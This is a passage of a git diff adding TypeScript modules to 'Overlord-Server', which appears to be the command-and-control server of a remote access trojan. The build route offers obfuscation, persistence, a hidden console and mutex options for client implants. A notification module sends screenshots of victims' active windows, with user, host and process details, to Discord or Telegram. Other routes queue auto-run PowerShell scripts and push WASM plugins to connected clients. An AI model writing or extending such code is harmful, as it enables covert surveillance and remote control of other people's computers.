'self'", + }; +} + +export function mimeType(path: string) { + if (path.endsWith(".html")) return "text/html; charset=utf-8"; + if (path.endsWith(".css")) return "text/css; charset=utf-8"; + if (path.endsWith(".js")) return "text/javascript; charset=utf-8"; + if (path.endsWith(".json")) return "application/json"; + if (path.endsWith(".png")) return "image/png"; + if (path.endsWith(".jpg") || path.endsWith(".jpeg")) return "image/jpeg"; + if (path.endsWith(".webp")) return "image/webp"; + return "application/octet-stream"; +} diff --git a/Overlord-Server/src/server/maintenance-loops.ts b/Overlord-Server/src/server/maintenance-loops.ts new file mode 100644 index 0000000..0859192 --- /dev/null +++ b/Overlord-Server/src/server/maintenance-loops.ts @@ -0,0 +1,51 @@ +import { logger } from "../logger"; +import { sendPingRequest } from "../wsHandlers"; +import type { ClientInfo } from "../types"; +import { pruneStaleClients } from "./stale-prune"; + +type StartMaintenanceParams = { + getClients: () => Map; + setOnlineState: (id: string, online: boolean) => void; + deleteClient: (id: string) => void; + staleMs: number; + pruneBatch: number; + heartbeatIntervalMs: number; + disconnectTimeoutMs: number; +}; + +export function startMaintenanceLoops(params: StartMaintenanceParams): void { + setInterval(() => { + pruneStaleClients({ + clients: params.getClients(), + staleMs: params.staleMs, + pruneBatch: params.pruneBatch, + setOnlineState: params.setOnlineState, + deleteClient: params.deleteClient, + }); + }, 5000); + + setInterval(() => { + const now = Date.now(); + for (const [id, info] of params.getClients().entries()) { + if (info.role !== "client") continue; + if ( + info.lastPingNonce !== undefined && + info.lastPingSent && + now - info.lastPingSent > params.heartbeatIntervalMs + params.disconnectTimeoutMs + ) { + logger.warn(`[ping] no pong from ${id} within timeout; closing socket`); + try { + info.ws.close(4001, "ping timeout"); + } catch (err) { + logger.debug(`[ping] close failed for ${id}`, err); + } + continue; + } + try { + sendPingRequest(info, info.ws, "heartbeat"); + } catch (err) { + logger.debug(`[ping] heartbeat failed for ${id}`, err); + } + } + }, params.heartbeatIntervalMs); +} diff --git a/Overlord-Server/src/server/notification-delivery.ts b/Overlord-Server/src/server/notification-delivery.ts new file mode 100644 index 0000000..c14a5cd --- /dev/null +++ b/Overlord-Server/src/server/notification-delivery.ts @@ -0,0 +1,214 @@ +import { v4 as uuidv4 } from "uuid"; +import { + getNotificationScreenshot, + saveNotificationScreenshot, + type NotificationScreenshotRecord, +} from "../db"; +import { logger } from "../logger"; + +export type NotificationRecord = { + id: string; + clientId: string; + host?: string; + user?: string; + os?: string; + title: string; + process?: string; + processPath?: string; + pid?: number; + keyword?: string; + category: "active_window"; + ts: number; + screenshotId?: string; +}; + +export type PendingNotificationScreenshot = { + notificationId: string; + clientId: string; + ts: number; + timeout: NodeJS.Timeout; +}; + +const NOTIFICATION_SCREENSHOT_WAIT_MS = 5_000; +const NOTIFICATION_SCREENSHOT_POLL_MS = 250; + +function getScreenshotMeta(format: string | undefined): { contentType: string; ext: string } { + const normalized = (format || "jpeg").toLowerCase(); + if (normalized === "png") return { contentType: "image/png", ext: "png" }; + if (normalized === "webp") return { contentType: "image/webp", ext: "webp" }; + if (normalized === "jpg" || normalized === "jpeg") return { contentType: "image/jpeg", ext: "jpg" }; + return { contentType: "application/octet-stream", ext: "bin" }; +} + +async function waitForNotificationScreenshot( + notificationId: string, + timeoutMs = NOTIFICATION_SCREENSHOT_WAIT_MS, +): Promise { + const start = Date.now(); + while (Date.now() - start < timeoutMs) { + const screenshot = getNotificationScreenshot(notificationId); + if (screenshot) return screenshot; + await new Promise((resolve) => setTimeout(resolve, NOTIFICATION_SCREENSHOT_POLL_MS)); + } + return null; +} + +export function takePendingNotificationScreenshot( + pendingNotificationScreenshots: Map, + clientId: string, +): PendingNotificationScreenshot | null { + for (const [commandId, pending] of pendingNotificationScreenshots.entries()) { + if (pending.clientId !== clientId) continue; + clearTimeout(pending.timeout); + pendingNotificationScreenshots.delete(commandId); + return pending; + } + return null; +} + +export function storeNotificationScreenshot( + notificationHistory: NotificationRecord[], + pending: PendingNotificationScreenshot, + bytes: Uint8Array, + format: string, + width?: number, + height?: number, +): void { + if (!bytes || bytes.length === 0) return; + const screenshotId = uuidv4(); + + saveNotificationScreenshot({ + id: screenshotId, + notificationId: pending.notificationId, + clientId: pending.clientId, + ts: pending.ts, + format, + width, + height, + bytes, + }); + + const record = notificationHistory.find((item) => item.id === pending.notificationId); + if (record) { + record.screenshotId = screenshotId; + } +} + +async function postNotificationWebhook( + record: NotificationRecord, + getNotificationConfig: () => any, + screenshot?: NotificationScreenshotRecord | null, +): Promise { + const config = getNotificationConfig(); + if (!config.webhookEnabled) return; + const url = (config.webhookUrl || "").trim(); + if (!url) return; + try { + const parsed = new URL(url); + if (!/^https?:$/.test(parsed.protocol)) { + return; + } + } catch { + return; + } + + try { + const isDiscord = /discord(app)?\.com$/i.test(new URL(url).hostname); + if (isDiscord) { + const embed: Record = { + title: record.keyword ? `Keyword: ${record.keyword}` : "Active Window", + description: record.title, + fields: [ + { name: "Client", value: record.clientId || "unknown", inline: true }, + { name: "User", value: record.user || "unknown", inline: true }, + { name: "Host", value: record.host || "unknown", inline: true }, + { name: "Process", value: record.process || "unknown", inline: true }, + ], + timestamp: new Date(record.ts).toISOString(), + }; + + const payload: Record = { + content: `≡ƒöö Notification: ${record.title}`, + embeds: [embed], + }; + + if (screenshot?.bytes?.length) { + const meta = getScreenshotMeta(screenshot.format); + const filename = `notification-${record.id}.${meta.ext}`; + embed.image = { url: `attachment://${filename}` }; + const form = new FormData(); + form.append("payload_json", JSON.stringify(payload)); + form.append( + "files[0]", + new Blob([screenshot.bytes as any], { type: meta.contentType }), + filename, + ); + await fetch(url, { method: "POST", body: form }); + return; + } + + await fetch(url, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(payload), + }); + return; + } + + const payload = { type: "notification", data: record }; + await fetch(url, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(payload), + }); + } catch (err) { + logger.warn("[notify] webhook delivery failed", err); + } +} + +async function postTelegramNotification( + record: NotificationRecord, + getNotificationConfig: () => any, + screenshot?: NotificationScreenshotRecord | null, +): Promise { + const config = getNotificationConfig(); + if (!config.telegramEnabled) return; + const token = (config.telegramBotToken || "").trim(); + const chatId = (config.telegramChatId || "").trim(); + if (!token || !chatId) return; + + const text = `≡ƒöö Notification\nTitle: ${record.title}\nKeyword: ${record.keyword || "-"}\nClient: ${record.clientId}\nUser: ${record.user || "unknown"}\nHost: ${record.host || "unknown"}\nProcess: ${record.process || "unknown"}`; + try { + if (screenshot?.bytes?.length) { + const meta = getScreenshotMeta(screenshot.format); + const filename = `notification-${record.id}.${meta.ext}`; + const form = new FormData(); + form.append("chat_id", chatId); + form.append("caption", text); + form.append("photo", new Blob([screenshot.bytes as any], { type: meta.contentType }), filename); + const url = `https://api.telegram.org/bot${token}/sendPhoto`; + await fetch(url, { method: "POST", body: form }); + return; + } + + const url = `https://api.telegram.org/bot${token}/sendMessage`; + await fetch(url, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ chat_id: chatId, text }), + }); + } catch (err) { + logger.warn("[notify] telegram delivery failed", err); + } +} + +export async function deliverNotificationWithScreenshot( + record: NotificationRecord, + getNotificationConfig: () => any, +): Promise { + const screenshot = await waitForNotificationScreenshot(record.id); + await Promise.allSettled([ + postNotificationWebhook(record, getNotificationConfig, screenshot), + postTelegramNotification(record, getNotificationConfig, screenshot), + ]); +} diff --git a/Overlord-Server/src/server/plugin-state-bundle.ts b/Overlord-Server/src/server/plugin-state-bundle.ts new file mode 100644 index 0000000..a4d4727 --- /dev/null +++ b/Overlord-Server/src/server/plugin-state-bundle.ts @@ -0,0 +1,237 @@ +import fs from "fs/promises"; +import path from "path"; +import AdmZip from "adm-zip"; +import { v4 as uuidv4 } from "uuid"; +import type { ClientInfo } from "../types"; +import { logger } from "../logger"; +import { encodeMessage, type PluginManifest } from "../protocol"; + +export type PluginState = { + enabled: Record; + lastError: Record; +}; + +export async function loadPluginStateFromDisk(pluginStatePath: string): Promise { + try { + const raw = await fs.readFile(pluginStatePath, "utf-8"); + const parsed = JSON.parse(raw) as { enabled?: Record; lastError?: Record }; + return { + enabled: parsed.enabled || {}, + lastError: parsed.lastError || {}, + }; + } catch { + return { enabled: {}, lastError: {} }; + } +} + +export async function savePluginStateToDisk( + pluginRoot: string, + pluginStatePath: string, + pluginState: PluginState, +): Promise { + await fs.mkdir(pluginRoot, { recursive: true }); + await fs.writeFile(pluginStatePath, JSON.stringify(pluginState, null, 2)); +} + +export async function ensurePluginExtracted( + pluginRoot: string, + pluginId: string, + sanitizePluginId: (name: string) => string, +): Promise { + const safeId = sanitizePluginId(pluginId); + const zipPath = path.join(pluginRoot, `${safeId}.zip`); + const pluginDir = path.join(pluginRoot, safeId); + const manifestPath = path.join(pluginDir, "manifest.json"); + + let zipStat: any = null; + try { + zipStat = await fs.stat(zipPath); + } catch { + zipStat = null; + } + + let manifestStat: any = null; + try { + manifestStat = await fs.stat(manifestPath); + } catch { + manifestStat = null; + } + + if (!zipStat) { + if (manifestStat) return; + throw new Error(`Plugin bundle not found: ${safeId}`); + } + + if (manifestStat && manifestStat.mtimeMs >= zipStat.mtimeMs) { + return; + } + + await fs.mkdir(pluginDir, { recursive: true }); + const assetsDir = path.join(pluginDir, "assets"); + await fs.mkdir(assetsDir, { recursive: true }); + + const zip = new AdmZip(zipPath); + const entries = zip.getEntries(); + let wasmEntry: Buffer | null = null; + let htmlEntry: Buffer | null = null; + let cssEntry: Buffer | null = null; + let jsEntry: Buffer | null = null; + + for (const entry of entries) { + if (entry.isDirectory) continue; + const base = path.basename(entry.entryName); + if (base.toLowerCase().endsWith(".wasm")) { + wasmEntry = entry.getData(); + } else if (base.toLowerCase().endsWith(".html")) { + htmlEntry = entry.getData(); + } else if (base.toLowerCase().endsWith(".css")) { + cssEntry = entry.getData(); + } else if (base.toLowerCase().endsWith(".js")) { + jsEntry = entry.getData(); + } + } + + if (!wasmEntry || !htmlEntry || !cssEntry || !jsEntry) { + throw new Error(`Invalid plugin bundle: ${safeId} (missing required files)`); + } + + await fs.writeFile(path.join(pluginDir, `${safeId}.wasm`), wasmEntry); + await fs.writeFile(path.join(assetsDir, `${safeId}.html`), htmlEntry); + await fs.writeFile(path.join(assetsDir, `${safeId}.css`), cssEntry); + await fs.writeFile(path.join(assetsDir, `${safeId}.js`), jsEntry); + + const manifest: PluginManifest = { + id: safeId, + name: safeId, + version: "1.0.0", + binary: `${safeId}.wasm`, + entry: `${safeId}.html`, + assets: { + html: `${safeId}.html`, + css: `${safeId}.css`, + js: `${safeId}.js`, + }, + }; + await fs.writeFile(manifestPath, JSON.stringify(manifest, null, 2)); +} + +export async function syncPluginBundles( + pluginRoot: string, + ensureExtracted: (pluginId: string) => Promise, +): Promise { + await fs.mkdir(pluginRoot, { recursive: true }); + const entries = await fs.readdir(pluginRoot, { withFileTypes: true }); + for (const ent of entries) { + if (ent.isFile() && ent.name.toLowerCase().endsWith(".zip")) { + const pluginId = ent.name.slice(0, -4); + try { + await ensureExtracted(pluginId); + } catch (err) { + logger.warn(`[plugin] failed to extract ${pluginId}: ${(err as Error).message}`); + } + } + } +} + +export async function listPluginManifests( + pluginRoot: string, + pluginState: PluginState, + saveState: () => Promise, + ensureExtracted: (pluginId: string) => Promise, +): Promise { + try { + await syncPluginBundles(pluginRoot, ensureExtracted); + const entries = await fs.readdir(pluginRoot, { withFileTypes: true }); + const manifests: PluginManifest[] = []; + for (const ent of entries) { + if (!ent.isDirectory()) continue; + const manifestPath = path.join(pluginRoot, ent.name, "manifest.json"); + try { + const raw = await fs.readFile(manifestPath, "utf-8"); + const manifest = JSON.parse(raw) as PluginManifest; + const id = manifest.id || ent.name; + const name = manifest.name || ent.name; + if (pluginState.enabled[id] === undefined) { + pluginState.enabled[id] = true; + } + manifests.push({ ...manifest, id, name }); + } catch {} + } + await saveState(); + return manifests; + } catch { + return []; + } +} + +export async function loadPluginBundle( + pluginRoot: string, + pluginId: string, + ensureExtracted: (pluginId: string) => Promise, +): Promise<{ manifest: PluginManifest; wasm: Uint8Array }> { + await ensureExtracted(pluginId); + const dir = path.join(pluginRoot, pluginId); + const manifestPath = path.join(dir, "manifest.json"); + const rawManifest = await fs.readFile(manifestPath, "utf-8"); + const manifest = JSON.parse(rawManifest) as PluginManifest; + manifest.id = manifest.id || pluginId; + manifest.name = manifest.name || pluginId; + + const binaryName = manifest.binary || manifest.entry || `${pluginId}.wasm`; + let wasmPath = path.join(dir, binaryName); + try { + await fs.access(wasmPath); + } catch { + const files = await fs.readdir(dir); + const firstWasm = files.find((f) => f.toLowerCase().endsWith(".wasm")); + if (!firstWasm) throw new Error("No .wasm found for plugin " + pluginId); + wasmPath = path.join(dir, firstWasm); + } + const wasm = new Uint8Array(await fs.readFile(wasmPath)); + return { manifest, wasm }; +} + +export function sendPluginBundle( + target: ClientInfo, + bundle: { manifest: PluginManifest; wasm: Uint8Array }, +): void { + const chunkSize = 16 * 1024; + const wasm = bundle.wasm; + const totalChunks = Math.ceil(wasm.length / chunkSize); + const initPayload = { + manifest: bundle.manifest, + size: wasm.length, + chunks: totalChunks, + }; + target.ws.send( + encodeMessage({ + type: "command", + commandType: "plugin_load_init", + id: uuidv4(), + payload: initPayload, + }), + ); + + for (let i = 0; i < totalChunks; i++) { + const start = i * chunkSize; + const end = Math.min(start + chunkSize, wasm.length); + const chunk = wasm.slice(start, end); + target.ws.send( + encodeMessage({ + type: "command", + commandType: "plugin_load_chunk", + id: uuidv4(), + payload: { pluginId: bundle.manifest.id, index: i, data: chunk }, + }), + ); + } + + target.ws.send( + encodeMessage({ + type: "command", + commandType: "plugin_load_finish", + id: uuidv4(), + payload: { pluginId: bundle.manifest.id }, + }), + ); +} diff --git a/Overlord-Server/src/server/plugin-utils.ts b/Overlord-Server/src/server/plugin-utils.ts new file mode 100644 index 0000000..537c011 --- /dev/null +++ b/Overlord-Server/src/server/plugin-utils.ts @@ -0,0 +1,9 @@ +import path from "path"; + +export function sanitizePluginId(name: string): string { + const cleaned = path.basename(name).replace(/[^A-Za-z0-9._-]/g, ""); + if (!cleaned) { + throw new Error("Invalid plugin id"); + } + return cleaned; +} diff --git a/Overlord-Server/src/server/routes/assets-routes.ts b/Overlord-Server/src/server/routes/assets-routes.ts new file mode 100644 index 0000000..c6b3fd6 --- /dev/null +++ b/Overlord-Server/src/server/routes/assets-routes.ts @@ -0,0 +1,43 @@ +import path from "path"; + +type AssetsRouteDeps = { + PUBLIC_ROOT: string; + secureHeaders: (contentType?: string) => Record; + mimeType: (path: string) => string; +}; + +export async function handleAssetsRoutes( + req: Request, + url: URL, + deps: AssetsRouteDeps, +): Promise { + if (!(req.method === "GET" && url.pathname.startsWith("/assets/"))) { + return null; + } + + let decodedPath = url.pathname; + try { + decodedPath = decodeURIComponent(url.pathname); + } catch { + return new Response("Bad request", { status: 400 }); + } + + if (decodedPath.includes("\u0000")) { + return new Response("Not found", { status: 404 }); + } + + const assetsRoot = path.join(deps.PUBLIC_ROOT, "assets"); + const relativePath = decodedPath.replace(/^\/assets\//, ""); + const resolvedPath = path.resolve(assetsRoot, relativePath); + const rootWithSep = assetsRoot.endsWith(path.sep) ? assetsRoot : `${assetsRoot}${path.sep}`; + + if (!resolvedPath.startsWith(rootWithSep)) { + return new Response("Not found", { status: 404 }); + } + + const file = Bun.file(resolvedPath); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType(url.pathname)) }); + } + return new Response("Not found", { status: 404 }); +} diff --git a/Overlord-Server/src/server/routes/auth-routes.ts b/Overlord-Server/src/server/routes/auth-routes.ts new file mode 100644 index 0000000..876606d --- /dev/null +++ b/Overlord-Server/src/server/routes/auth-routes.ts @@ -0,0 +1,179 @@ +import { + authenticateRequest, + authenticateUser, + extractTokenFromRequest, + generateToken, + getUserFromRequest, + revokeToken, +} from "../../auth"; +import { AuditAction, logAudit } from "../../auditLog"; +import { logger } from "../../logger"; +import { + isRateLimited, + recordFailedAttempt, + recordSuccessfulAttempt, +} from "../../rateLimit"; +import { getUserById } from "../../users"; + +type RequestIpProvider = { + requestIP: (req: Request) => { address?: string } | null | undefined; +}; + +export async function handleAuthRoutes( + req: Request, + url: URL, + server: RequestIpProvider, +): Promise { + if (req.method === "POST" && url.pathname === "/api/login") { + const ip = server.requestIP(req)?.address || "unknown"; + + const rateLimitCheck = isRateLimited(ip); + if (rateLimitCheck.limited) { + logAudit({ + timestamp: Date.now(), + username: "unknown", + ip, + action: AuditAction.LOGIN_FAILED, + success: false, + errorMessage: "Rate limited", + }); + + return new Response( + JSON.stringify({ + ok: false, + error: `Too many failed attempts. Please try again in ${rateLimitCheck.retryAfter} seconds.`, + }), + { + status: 429, + headers: { + "Content-Type": "application/json", + "Retry-After": String(rateLimitCheck.retryAfter), + }, + }, + ); + } + + try { + const body = await req.json(); + const username = body?.user || ""; + const password = body?.pass || ""; + + const user = await authenticateUser(username, password); + + if (user) { + const token = await generateToken(user); + + logger.info( + `[auth] User ${user.username} logged in. must_change_password =`, + user.must_change_password, + `(type: ${typeof user.must_change_password})`, + ); + + logAudit({ + timestamp: Date.now(), + username: user.username, + ip, + action: AuditAction.LOGIN, + success: true, + }); + + recordSuccessfulAttempt(ip); + + return new Response( + JSON.stringify({ + ok: true, + token, + user: { + username: user.username, + role: user.role, + id: user.id, + mustChangePassword: Boolean(user.must_change_password), + }, + }), + { + headers: { + "Content-Type": "application/json", + "Set-Cookie": `overlord_token=${token}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=604800`, + }, + }, + ); + } + + recordFailedAttempt(ip); + logAudit({ + timestamp: Date.now(), + username, + ip, + action: AuditAction.LOGIN_FAILED, + success: false, + errorMessage: "Invalid credentials", + }); + } catch (error) { + logger.error("[auth] Login error:", error); + logAudit({ + timestamp: Date.now(), + username: "unknown", + ip, + action: AuditAction.LOGIN_FAILED, + success: false, + errorMessage: String(error), + }); + } + + return new Response(JSON.stringify({ ok: false, error: "Invalid credentials" }), { + status: 401, + headers: { "Content-Type": "application/json" }, + }); + } + + if (req.method === "POST" && url.pathname === "/api/logout") { + const ip = server.requestIP(req)?.address || "unknown"; + const user = await getUserFromRequest(req); + const token = extractTokenFromRequest(req); + + if (token) { + revokeToken(token); + } + + logAudit({ + timestamp: Date.now(), + username: user?.username || "unknown", + ip, + action: AuditAction.LOGOUT, + success: true, + }); + + return new Response(JSON.stringify({ ok: true }), { + headers: { + "Content-Type": "application/json", + "Set-Cookie": `overlord_token=; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=0`, + }, + }); + } + + if (req.method === "GET" && url.pathname === "/api/auth/me") { + const user = await authenticateRequest(req); + if (!user) { + return new Response(JSON.stringify({ error: "Not authenticated" }), { + status: 401, + headers: { "Content-Type": "application/json" }, + }); + } + + const dbUser = getUserById(user.userId); + + return new Response( + JSON.stringify({ + username: user.username, + role: user.role, + userId: user.userId, + mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false, + }), + { + headers: { "Content-Type": "application/json" }, + }, + ); + } + + return null; +} diff --git a/Overlord-Server/src/server/routes/auto-scripts-routes.ts b/Overlord-Server/src/server/routes/auto-scripts-routes.ts new file mode 100644 index 0000000..be5d975 --- /dev/null +++ b/Overlord-Server/src/server/routes/auto-scripts-routes.ts @@ -0,0 +1,159 @@ +import { authenticateRequest } from "../../auth"; +import { + createAutoScript, + deleteAutoScript, + listAutoScripts, + type AutoScriptTrigger, + updateAutoScript, +} from "../../db"; +import { requirePermission } from "../../rbac"; +import { AUTO_SCRIPT_TRIGGERS, ALLOWED_SCRIPT_TYPES } from "../validation-constants"; +import { v4 as uuidv4 } from "uuid"; + +export async function handleAutoScriptsRoutes( + req: Request, + url: URL, +): Promise { + if (req.method === "GET" && url.pathname === "/api/auto-scripts") { + const user = await authenticateRequest(req); + if (!user) { + return new Response(JSON.stringify({ error: "Not authenticated" }), { + status: 401, + headers: { "Content-Type": "application/json" }, + }); + } + try { + requirePermission(user, "clients:control"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + + return Response.json({ items: listAutoScripts() }); + } + + if (req.method === "POST" && url.pathname === "/api/auto-scripts") { + const user = await authenticateRequest(req); + if (!user) { + return new Response(JSON.stringify({ error: "Not authenticated" }), { + status: 401, + headers: { "Content-Type": "application/json" }, + }); + } + try { + requirePermission(user, "clients:control"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + + let body: any = {}; + try { + body = await req.json(); + } catch { + return Response.json({ error: "Invalid JSON" }, { status: 400 }); + } + + const name = String(body?.name || "").trim(); + const triggerRaw = String(body?.trigger || "").trim() as AutoScriptTrigger; + const script = String(body?.script || ""); + const scriptTypeRaw = String(body?.scriptType || "powershell").trim(); + const enabled = typeof body?.enabled === "boolean" ? body.enabled : true; + + if (!name) { + return Response.json({ error: "Name is required" }, { status: 400 }); + } + if (!script.trim()) { + return Response.json({ error: "Script is required" }, { status: 400 }); + } + if (!AUTO_SCRIPT_TRIGGERS.has(triggerRaw)) { + return Response.json({ error: "Invalid trigger" }, { status: 400 }); + } + + const scriptType = ALLOWED_SCRIPT_TYPES.has(scriptTypeRaw) + ? scriptTypeRaw + : "powershell"; + + const item = createAutoScript({ + id: uuidv4(), + name, + trigger: triggerRaw, + script, + scriptType, + enabled, + }); + + return Response.json({ ok: true, item }); + } + + const autoScriptMatch = url.pathname.match(/^\/api\/auto-scripts\/(.+)$/); + if (autoScriptMatch && req.method === "PUT") { + const user = await authenticateRequest(req); + if (!user) { + return new Response(JSON.stringify({ error: "Not authenticated" }), { + status: 401, + headers: { "Content-Type": "application/json" }, + }); + } + try { + requirePermission(user, "clients:control"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + + let body: any = {}; + try { + body = await req.json(); + } catch { + return Response.json({ error: "Invalid JSON" }, { status: 400 }); + } + + const triggerRaw = body?.trigger ? String(body.trigger).trim() : undefined; + if (triggerRaw && !AUTO_SCRIPT_TRIGGERS.has(triggerRaw as AutoScriptTrigger)) { + return Response.json({ error: "Invalid trigger" }, { status: 400 }); + } + + const scriptTypeRaw = body?.scriptType ? String(body.scriptType).trim() : undefined; + const scriptType = scriptTypeRaw + ? ALLOWED_SCRIPT_TYPES.has(scriptTypeRaw) + ? scriptTypeRaw + : "powershell" + : undefined; + + const updated = updateAutoScript(autoScriptMatch[1], { + name: body?.name ? String(body.name).trim() : undefined, + trigger: triggerRaw as AutoScriptTrigger | undefined, + script: body?.script ? String(body.script) : undefined, + scriptType, + enabled: typeof body?.enabled === "boolean" ? body.enabled : undefined, + }); + + if (!updated) { + return Response.json({ error: "Not found" }, { status: 404 }); + } + + return Response.json({ ok: true, item: updated }); + } + + if (autoScriptMatch && req.method === "DELETE") { + const user = await authenticateRequest(req); + if (!user) { + return new Response(JSON.stringify({ error: "Not authenticated" }), { + status: 401, + headers: { "Content-Type": "application/json" }, + }); + } + try { + requirePermission(user, "clients:control"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + + deleteAutoScript(autoScriptMatch[1]); + return Response.json({ ok: true }); + } + + return null; +} diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts new file mode 100644 index 0000000..3bdeb4d --- /dev/null +++ b/Overlord-Server/src/server/routes/build-routes.ts @@ -0,0 +1,295 @@ +import { v4 as uuidv4 } from "uuid"; +import { authenticateRequest } from "../../auth"; +import { AuditAction, logAudit } from "../../auditLog"; +import * as buildManager from "../../build/buildManager"; +import { deleteBuild, getAllBuilds, getBuild } from "../../db"; +import { requirePermission } from "../../rbac"; +import { logger } from "../../logger"; +import path from "path"; +import { resolveRuntimeRoot } from "../runtime-paths"; + +type RequestIpProvider = { + requestIP: (req: Request) => { address?: string } | null | undefined; +}; + +type BuildRouteDeps = { + startBuildProcess: (buildId: string, config: any) => Promise; + sanitizeMutex: (value?: string) => string | undefined; + allowedPlatforms: Set; +}; + +export async function handleBuildRoutes( + req: Request, + url: URL, + server: RequestIpProvider, + deps: BuildRouteDeps, +): Promise { + if (!url.pathname.startsWith("/api/build")) { + return null; + } + + try { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + + if (req.method === "POST" && url.pathname === "/api/build/start") { + requirePermission(user, "clients:control"); + + const body = await req.json(); + const { + platforms, + serverUrl, + rawServerList, + stripDebug, + disableCgo, + obfuscate, + enablePersistence, + mutex, + disableMutex, + hideConsole, + noPrinting, + } = body; + + if (!platforms || !Array.isArray(platforms) || platforms.length === 0) { + return Response.json({ error: "No platforms specified" }, { status: 400 }); + } + + let safeMutex: string | undefined; + try { + safeMutex = typeof mutex === "string" ? deps.sanitizeMutex(mutex) : undefined; + } catch (err: any) { + return Response.json({ error: err?.message || "Invalid mutex" }, { status: 400 }); + } + const safeDisableMutex = !!disableMutex; + const sanitizedPlatforms = platforms.filter((p: string) => typeof p === "string"); + if (sanitizedPlatforms.length !== platforms.length) { + return Response.json({ error: "Invalid platform entries" }, { status: 400 }); + } + const allowedPlatforms = sanitizedPlatforms.filter((p: string) => + deps.allowedPlatforms.has(p), + ); + if (allowedPlatforms.length === 0) { + return Response.json({ error: "No valid platforms specified" }, { status: 400 }); + } + + const safeRawServerList = !!rawServerList; + const safeServerUrl = + typeof serverUrl === "string" && serverUrl.trim() !== "" + ? serverUrl.trim() + : undefined; + if (safeRawServerList) { + if (!safeServerUrl) { + return Response.json( + { error: "Raw server list requires a server URL" }, + { status: 400 }, + ); + } + try { + const parsed = new URL(safeServerUrl); + if (parsed.protocol !== "https:") { + return Response.json( + { error: "Raw server list URL must use https" }, + { status: 400 }, + ); + } + } catch { + return Response.json({ error: "Invalid raw server list URL" }, { status: 400 }); + } + } + + const buildId = uuidv4(); + const ip = server.requestIP(req)?.address || "unknown"; + + logAudit({ + timestamp: Date.now(), + username: user.username, + ip, + action: AuditAction.COMMAND, + details: `Started build ${buildId} for platforms: ${allowedPlatforms.join(", ")}`, + success: true, + }); + + const safeNoPrinting = !!noPrinting; + deps.startBuildProcess(buildId, { + platforms: allowedPlatforms, + serverUrl: safeServerUrl, + rawServerList: safeRawServerList, + mutex: safeMutex, + disableMutex: safeDisableMutex, + stripDebug, + disableCgo, + obfuscate: !!obfuscate, + enablePersistence, + hideConsole: !!hideConsole, + noPrinting: safeNoPrinting, + }); + + return Response.json({ buildId }); + } + + if (req.method === "GET" && url.pathname === "/api/build/list") { + requirePermission(user, "clients:control"); + + const builds = getAllBuilds(); + return Response.json({ builds }); + } + + if (req.method === "DELETE" && url.pathname.match(/^\/api\/build\/(.+)\/delete$/)) { + requirePermission(user, "clients:control"); + + const buildId = url.pathname.split("/")[3]; + + buildManager.deleteBuildStream(buildId); + deleteBuild(buildId); + + const ip = server.requestIP(req)?.address || "unknown"; + logAudit({ + timestamp: Date.now(), + username: user.username, + ip, + action: AuditAction.COMMAND, + details: `Deleted build ${buildId}`, + success: true, + }); + + return Response.json({ success: true }); + } + + if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/stream$/)) { + requirePermission(user, "clients:control"); + + const buildId = url.pathname.split("/")[3]; + const build = buildManager.getBuildStream(buildId); + + if (!build) { + return Response.json({ error: "Build not found" }, { status: 404 }); + } + + logger.info(`[build:${buildId.substring(0, 8)}] Client connected to stream`); + + const stream = new ReadableStream({ + start(controller) { + build.controllers.push(controller); + logger.info( + `[build:${buildId.substring(0, 8)}] Added controller, total: ${build.controllers.length}`, + ); + + const encoder = new TextEncoder(); + try { + controller.enqueue( + encoder.encode( + `data: ${JSON.stringify({ type: "status", text: "Connected to build stream" })}\n\n`, + ), + ); + } catch (err) { + logger.error( + `[build:${buildId.substring(0, 8)}] Failed to send initial message:`, + err, + ); + } + }, + cancel() { + const index = build.controllers.indexOf(this as any); + if (index > -1) { + build.controllers.splice(index, 1); + logger.info( + `[build:${buildId.substring(0, 8)}] Controller removed, remaining: ${build.controllers.length}`, + ); + } + }, + }); + + return new Response(stream, { + headers: { + "Content-Type": "text/event-stream", + "Cache-Control": "no-cache", + Connection: "keep-alive", + "X-Accel-Buffering": "no", + }, + }); + } + + if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/info$/)) { + requirePermission(user, "clients:control"); + + const buildId = url.pathname.split("/")[3]; + const build = buildManager.getBuildStream(buildId); + + if (!build) { + const dbBuild = getBuild(buildId); + if (!dbBuild) { + return Response.json({ error: "Build not found" }, { status: 404 }); + } + return Response.json({ + id: dbBuild.id, + status: dbBuild.status, + startTime: dbBuild.startTime, + expiresAt: dbBuild.expiresAt, + files: dbBuild.files, + }); + } + + return Response.json({ + id: build.id, + status: build.status, + startTime: build.startTime, + expiresAt: build.expiresAt, + files: build.files, + }); + } + + if (req.method === "GET" && url.pathname.match(/^\/api\/build\/download\//)) { + requirePermission(user, "clients:control"); + + const rawName = url.pathname.split("/api/build/download/")[1] || ""; + let fileName = rawName; + try { + fileName = decodeURIComponent(rawName); + } catch { + return Response.json({ error: "Bad request" }, { status: 400 }); + } + + if ( + !fileName || + fileName.includes("\u0000") || + fileName.includes("/") || + fileName.includes("\\") + ) { + return Response.json({ error: "File not found" }, { status: 404 }); + } + + const rootDir = resolveRuntimeRoot(); + const distRoot = path.resolve(rootDir, "dist-clients"); + const filePath = path.resolve(distRoot, fileName); + const rootWithSep = distRoot.endsWith(path.sep) + ? distRoot + : `${distRoot}${path.sep}`; + + if (!filePath.startsWith(rootWithSep)) { + return Response.json({ error: "File not found" }, { status: 404 }); + } + + const file = Bun.file(filePath); + if (!(await file.exists())) { + return Response.json({ error: "File not found" }, { status: 404 }); + } + + return new Response(file, { + headers: { + "Content-Type": 